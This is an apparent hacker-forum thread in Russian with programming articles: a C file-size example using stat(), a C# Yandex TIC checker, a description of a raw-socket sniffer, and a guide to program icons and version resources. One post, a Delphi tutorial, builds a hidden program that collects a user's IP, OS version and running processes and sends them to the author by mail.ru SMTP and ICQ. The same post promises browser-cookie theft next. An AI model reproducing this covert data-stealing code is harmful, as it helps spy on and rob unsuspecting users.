    В ней собственно и будет располагаться вся информация.
    Некоторые поля структуры:
    Code:
    st_mode - тип, права доступа.
    st_atime - время последнего доступа.
    st_size - размер.
    st_uid - юид юзера.
    st_gid - идентификатор группы пользователей
    
    
    При ошибке возвращает -1
    Теперь давайте напишем пример - программа должна выводить размер указаного файла.
    Code:
    ------------------------------------------------------
    #include <stdio.h>
    #include <sys/stat.h>// необходимый заголовочный файл
    int main(int ac,char *ag[])
    {
    struct stat buffer; // структура для хранения инфы
    if(ac!=1) если кол во аргументов не 1 то
    printf("Пожалуйста введите необходимые аргументы\n");
    if(stat(ag[1],&buffer)!=-1) //если не произошла ошибка то
    printf("Размер файла: %d\n",buffer.st_size); //вывод
    else
    printf("Не корректное имя файла\n"); // если ошибка
    }
    
    
    ---------------------------------------------------------------------------
    
     
    #29 --StraNger--, 21 Jun 2009
    Last edited: 21 Jun 2009
    1 person likes this.
  10. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    994
    Likes Received:
    289
    Reputations:
    43
    Определение ТИЦ

    PHP:
    using System;
    using System.IO;
    using System.Net;
    using System.Text;
    using System.Text.RegularExpressions;

    public class 
    Test
    {
        public static 
    WebResponse GetResponse(string urlbool redirect)
            {
                var 
    request = (HttpWebRequest)WebRequest.Create(url);
                try
                {
                    
    request.Method "GET";
                    
    request.AllowAutoRedirect redirect;
                    return 
    request.GetResponse();
                }
                catch
                {
                    return 
    null;
                }
            }

            public static 
    string GetPageSrc(string url)
            {
                var 
    response GetResponse(urltrue);
                if (
    response == null)
                {
                    return 
    "";
                }
                
    using (var reader = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding(1251)))
                {
                    return 
    reader.ReadToEnd();
                }
            }

        private static 
    int getCI(string url)
        {
            var 
    pageScr GetPageSrc(string.Format("http://bar-navig.yandex.ru/u?ver=2&show=32&url=http://www.{0}/"url));
            var 
    reg = new Regex("value=\"(.\\d*)\""RegexOptions.IgnoreCase);
            return 
    reg.IsMatch(pageScr) ? int.Parse(reg.Match(pageScr).Groups[1].Value) : 0;
        }


        public static 
    void Main()
        {
            
    Console.WriteLine(getCI("gw.kz"));
            
    Console.WriteLine("Done!");
            
    Console.ReadLine();
        }
    }
     
    3 people like this.
  11. skippp

    skippp Banned

    Joined:
    11 Apr 2009
    Messages:
    45
    Likes Received:
    10
    Reputations:
    2
    Пример простейшего сниффера для W2K/XP.

    Пример простейшего сниффера для W2K/XP.

    Ниже приведён полный код программы. Данный код не претендует на звание крутого снифера, однако при желании его можно доработать, чтобы можно было просматривать содержимое пакетов. Так же на его основе можно легко сделать простой анализатор трафика. А главное - не надо делать всяких драйверов; всё просто и понятно.

    Суть этого сниффера заключается в том, что используются сокеты второй версии и созданный сокет переводится в режим promiscuous (прослушивания).
    [​IMG]
    Для успешной компиляции, необходимо подключить к проекту файл ws2_32.lib. надо изменить строки: printf("%s",itoa(hibyte,"",10)); printf(" TTL:%s",itoa(hdr->iph_ttl,"",10));
     
    5 people like this.
  12. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    224
    Likes Received:
    54
    Reputations:
    5
    [Delphi] IP+cведения о системе на e-mail и ICQ

    IP+cведения о системе на e-mail и ICQ

    В данной министатье я решил показать небольшой пример того, как можно получить IP пользователя и сведения о его системе, а потом отправить их себе на e-mail. Но нам этого мало. Пускай программа отправляет нам информацию еще и по ICQ. Сразу скажу, что данный материал рассчитан большим образом на новичков. Надеюсь кому-то мой труд пригодится.


    Итак, для этого нам понадобятся:
    • "Delphi 7" или "Delphi 2009", так как модуль ICQ работает только на них. Впрочем взять другую версию модуля не проблема.
    • Собственно, сам модуль ICQClient v1.35. Взять его можно здесь: ICQClient v1.35
    Качаем, устанавливаем. Как установить компонент для Делфи читаем тут.

    Рассмотрим, что должна будет делать наша программа:
    1. Получить IP, сведения о системе и системных процессах.
    2. Проверить подключение к интернету, и если мы в онлайне то
    3. Отправить данные нам на ICQ.
    4. Отправить письмо на наш e-mail.

    Итак, приступим.

    В uses подключим три модуля. Это Winsock (для процедуры получения IP), WinINET (для проверки соединения с интернетом) и Tlhelp32 (для получения списка процессов).
    С вкладки "ICQClient" разместим на форме компонент ICQClient. Думаю вы догадались для чего он.
    С вкладки "Indy Misc" - IdMessage. С вкладки "Indy Clients" - IdSMTP. Эти компоненты нужны для отправки письма на ваш e-mail.
    Ну и напоследок положим 2 таймера, один из них будет каждый определенный промежуток времени проверять, есть ли соединение к интернету, и если есть то отправит нам нужные данные.
    Далее опишем несколько нужных нам функций.

    В обработчике OnCreate главной формы вставим следующий код, скрывающий нашу форму от посторонних глаз:
    Code:
    Application.ShowMainForm := false;
    Функция для получения IP в строковом формате. В интернете их много, можете взять ту, которая вам нравится больше ))
    Code:
    function TForm1.IPstr(HostName:String) : String;
    LABEL Abort;
    TYPE
      TAPInAddr = ARRAY[0..100] OF PInAddr;
      PAPInAddr =^TAPInAddr;
    VAR
      WSAData    : TWSAData;
      HostEntPtr : PHostEnt;
      pptr       : PAPInAddr;
      I          : Integer;
    BEGIN
      Result:='';
      WSAStartUp($101,WSAData);
      TRY
        HostEntPtr:=GetHostByName(PChar(HostName));
        IF HostEntPtr=NIL THEN
          GOTO Abort;
        pptr:=PAPInAddr(HostEntPtr^.h_addr_list);
        I:=0;
        WHILE pptr^[I]<>NIL DO
        BEGIN
          RESULT:=RESULT+#13#10+inet_ntoa(pptr^[I]^);
          Inc(I);
        END;
        Abort:
      EXCEPT
      END;
      WSACleanUp();
    END;
    Функция для получения версии операционной системы Windows.
    Code:
    function TForm1.GetOS: string;
    const
      cOsUnknown  = 'unknown';
      cOsWin95    = 'Win95';
      cOsWin98    = 'Win98';
      cOsWin98SE  = 'W98SE';
      cOsWinME    = 'WinME';
      cOsWinNT    = 'WinNT';
      cOsWin2000  = 'Win2000';
      cOsXP       = 'WinXP';
    var
      osVerInfo: TOSVersionInfo;
      majorVer, minorVer: Integer;
    begin
      Result := cOsUnknown;
      { set operating system type flag }
      osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
      if GetVersionEx(osVerInfo) then
      begin
        majorVer := osVerInfo.dwMajorVersion;
        minorVer := osVerInfo.dwMinorVersion;
        case osVerInfo.dwPlatformId of
          VER_PLATFORM_WIN32_NT: { Windows NT/2000 }
            begin
              if majorVer <= 4 then
                Result := cOsWinNT
              else if (majorVer = 5) and (minorVer = 0) then
                Result := cOsWin2000
              else if (majorVer = 5) and (minorVer = 1) then
                Result := cOsXP
              else
                Result := cOsUnknown;
            end; 
          VER_PLATFORM_WIN32_WINDOWS:  { Windows 9x/ME }
            begin 
              if (majorVer = 4) and (minorVer = 0) then
                Result := cOsWin95
              else if (majorVer = 4) and (minorVer = 10) then
              begin
                if osVerInfo.szCSDVersion[1] = 'A' then
                  Result := cOsWin98SE
                else
                  Result := cOsWin98;
              end
              else if (majorVer = 4) and (minorVer = 90) then
                Result := cOsWinME
              else
                Result := cOsUnknown;
            end;
          else
            Result := cOsUnknown;
        end;
      end
      else
        Result := cOsUnknown;
    end;
    Функция получения списка процессов пользователя:
    Code:
    function TForm1.ProcessInfo: string;
    var  hsnap: Thandle;
         procentry: TProcessEntry32;
    begin
    result:='';
    hsnap:=CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    procentry.dwSize:=sizeof(procentry);
    Process32First(hsnap, procentry);
     repeat
     result:=result+procentry.szexefile+#13#10;
     until
     Process32Next(hsnap, procentry)<>true;
    CloseHandle(hsnap);
    end;
    Вот и все, нужную нам информацию мы собрали, теперь опишем функцию отправки письма на почту. В данном примере будем использовать mail.ru.
    Code:
    procedure TForm1.SendMail;
    begin
      IdSMTP1.Host := 'smtp.mail.ru';
      IdSMTP1.Port := 25;
      IdSMTP1.Username := 'pypkin'; // логин отправителя
      IdSMTP1.Password := '123456'; // пароль отправителя
      IdSMTP1.AuthenticationType:=atLogin;
      with IdMessage1 do
         begin
          Body.Add('IP = ' + IPstr('') + #13#10 + 'OS = ' + GetOS + #13#10 + ProcessInfo);
          From.Text := 'pypkin@mail.ru'; // полный е-майл отправителя
          Recipients.EMailAddresses := 'resyltat@mail.ru'; //полный е-майл получателя
          Subject :='тема письма';
          end;
      IdSMTP1.Connect;
      try
      IdSMTP1.Send(IdMessage1);
      finally
      IdSMTP1.Disconnect;
      end;
    end;
    Надеюсь ничего сложного? Все функции описаны, приступим непосредственно к отправке. Выставим интервал таймера Timer1 в 5000. А в событии OnTimer напишем:
    Code:
    procedure TForm1.Timer1Timer(Sender: TObject);
    begin
    if InternetGetConnectedState(NIL,0)=true then
      try
       Timer1.Enabled:=false;
       ICQClient1.UIN := 123456789;
       ICQClient1.Password := 'пароль отправителя';
       ICQClient1.Login(0, false);
       Timer2.Enabled:=true;
        try
        SendMail;
        sleep(1000);
        except
        end;
     except
     Timer1.Enabled:=true;
     end;
    end;
    Заведем глобальную переменную logged типа boolean.
    Она будет нужна нам чтоб знать, когда наш пользователь ICQ подключится к серверу.
    Code:
    logged: boolean = false;
    Теперь в событии OnLogin компонента ICQClient вставим код:
    Code:
    procedure TForm1.ICQClient1Login(Sender: TObject);
    begin
    logged:=true;
    end;
    В Timer2 выставим интервал в 100, Enabled в False, а в событии OnTimer пишем следующее:
    Code:
    procedure TForm1.Timer2Timer(Sender: TObject);
    begin
    if logged = true then
     try
     Timer2.Enabled:=false;
     ICQClient1.SendMessage(987654321, 'IP = ' + IPstr('') + #13#10 + 'OS = ' + GetOS);
     sleep(500);
     except
     end;
    end;
    Готово! Можно смело компилировать, и ждать письма, которое должно прийти через 5 секунд после запуска программы. При многократном запуске могут возникнуть проблемы с отправкой на ICQ, это связано с тем, что если с одного компьютера слишком часто идет запрос на логинизацию, он блокируется для сервиса на 10-20 мин. Естественно, для того, чтоб все было скрытно, нужно писать на API. Но на первый раз и так сойдет. В следующей статье я расскажу как вытягивать куки из-под 3-х известных броузеров.
    Надеюсь вы не пожалели, что потратили время на чтение данного материала. Удачи! :)

    Исходники:
    http://slil.ru/28178545
    http://depositfiles.com/files/a07uyv66x
     
    #32 =Zeus=, 9 Nov 2009
    Last edited: 9 Nov 2009
    3 people like this.
  13. begin_end

    begin_end

    Joined:
    4 Jan 2007
    Messages:
    254
    Likes Received:
    549
    Reputations:
    470
    Для начинающих: Об оформлении атрибутики программ

    Часто начинающие программисты не уделяют должного внимания оформлению своих программных продуктов, или же наоборот, чрезмерно усердствуют в этом. Опытные программисты иногда не уделяют времени должному оформлению, потому как не считают это достаточно существенным. О каком же оформлении идет речь?

    Каждая программа, имеющая графический интерфейс, разработанная под MS Windows имеет определенную визуальную атрибутику, именно которая создаёт начальные ассоциации с программой у пользователя - "по одежке встречают". Прежде всего это значок (иконка, icon) программы.

    Для программ используются только стандартные значки Windows (в XP - до 48×48), хотя схожий формат имеют курсоры. В "чистом" виде значок - файл растрового изображения, способный содержать более одного изображения разных размеров и глубины цвета с поддержкой прозрачности. В таком виде значки автоматически загружаются и отображаются в файловых менеджерах и веб-браузерах [​IMG]. Однако, хотя файловые менеджеры могут, как значки отображать битмапы, а браузеры - файлы форматов png gif, использовать для исполняемых программ и ярлыков можно лишь стандартные значки.

    "Внутри" программы (или dll) значок находится в виде ресурса. Этот ресурс имеет непростую структуру, но работа со значками с помощью необходимых утилит решает все проблемы. Часто, но необязательно, ресурс значка должен название MAINICON. Во время подготовки программы подумайте, какое изображение вы изберете для значка. Это может быть логотип вашей компании, продукта или иной знак, осмысленно связанный с программой. Сразу учитывайте, что нужно создать несколько вариантов значка. Варианты значка рознятся по двум параметрам: глубина цвета и размеры. Для примера все значки explorer.exe:

    [​IMG]

    Если вы не подготовите значок подходящего формата, то при показе операционная система самостоятельно конвертирует в него имеющийся значок, причем довольно искаженно. Одна из лучших программ для работы со значками - ArtIcons. Импортировать значки в нее из Photoshop лучше всего в формате png, png24. Включить значок в приложение можно с помощью утилит IDE, компилятора программы или утилит работы с ресурсами (Restorator, ResHacker).

    Кроме значка существует еще один схожий по месту размещения атрибут приложения - версия. Это текстовая информация, автоматически загружаемая файловыми менеджерами из ресурсов программы.

    [​IMG]

    Могут быть разные языковые варианты версий. Сама версия - структура из нескольких обязательных и дополнительных полей.

    [​IMG]

    Посмотреть все поля версии, не используя дополнительное ПО, можно посредством проводника.

    [​IMG]

    Добавлять или изменять данные о версии лучше всего тем же ПО (Restorator, ResHacker) или в настройках компилятора. Правильно записанная информация в полях версии помогает кроме прочего зафиксировать ваши авторские права.

    Версия и значок это не вся атрибутика приложения. Еще одна вещь - это упакованность программы. Иногда программы упаковывать нельзя, ибо это препятствует их нормальной работе, но обычно это никак не влияет. Упаковывать программы нужно только тогда, когда это значительно снижает их размер. Часто возражают, говоря о избыточности скорости современных коммуникаций, объёма жестких дисков. Но, например, для сервера, из которого загружают программу, вдвое больший размер программы - вдвое больший трафик (различие между 50Тб и 100Тб вполне ощутимо). Для рядовых программных продуктов рекомендуется применять сжатие упаковщиком UPX. Он обеспечивает стабильную достаточную компрессию. Несомненно, существуют более эффективные упаковщики (см. тему). Но применение таких упаковщиков может вызвать ложное определение вашего программного продукта, как вредоносного ПО.

    И, пожалуй, последняя часть атрибутики, которая будет упомянута - собственно имя исполняемого файла *.exe. То самое имя, которое кликается при запуске программы прямо, либо через одноименный ярлык. Важно, чтобы имя отражало назначение файла, название программы. Но имя обязательно должно быть на латинице, и вообще соответствовать стандартам максимальной совместимости - до 8-ми символов, без пробелов, точек и прочих знаков до расширения. Годные варианты имен:
    Code:
    mplay32.exe
    routemon.exe
    flirc.exe
    FASM.EXE
    taskmgr.exe
    Нежелательные названия:
    Code:
    PresentationHost.exe
    Nero Check.exe
    CambridgeSoft.BioAssay.UpdateDBSchema.exe
    team.softw.exe
    UI Update.exe
    суперинвайтер.exe
    спамер в_контакте.exe
    Итак, помните: первое впечатление по вашей программе пользователь получит из этой атрибутики.

    Полезные утилиты:
    1. Restorator (Ресторатор)
    2. ResHacker (Ресхакер) [Free]
    3. ArtIcons (АртИконс)
    4. SetAppIcon [Free, Source]
    5. UPX [Free]


    Статья написана begin_end для ANTICHAT, 11.12.2010.
     
    _________________________
    #33 begin_end, 11 Dec 2010
    Last edited: 12 Dec 2010
  14. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    1,037
    Likes Received:
    550
    Reputations:
    66
    Обновил второй пост(карту статей). + Зарезервировал место под свою!
    Активней ребята... а то по забыли все про эту тему.
     
Loading...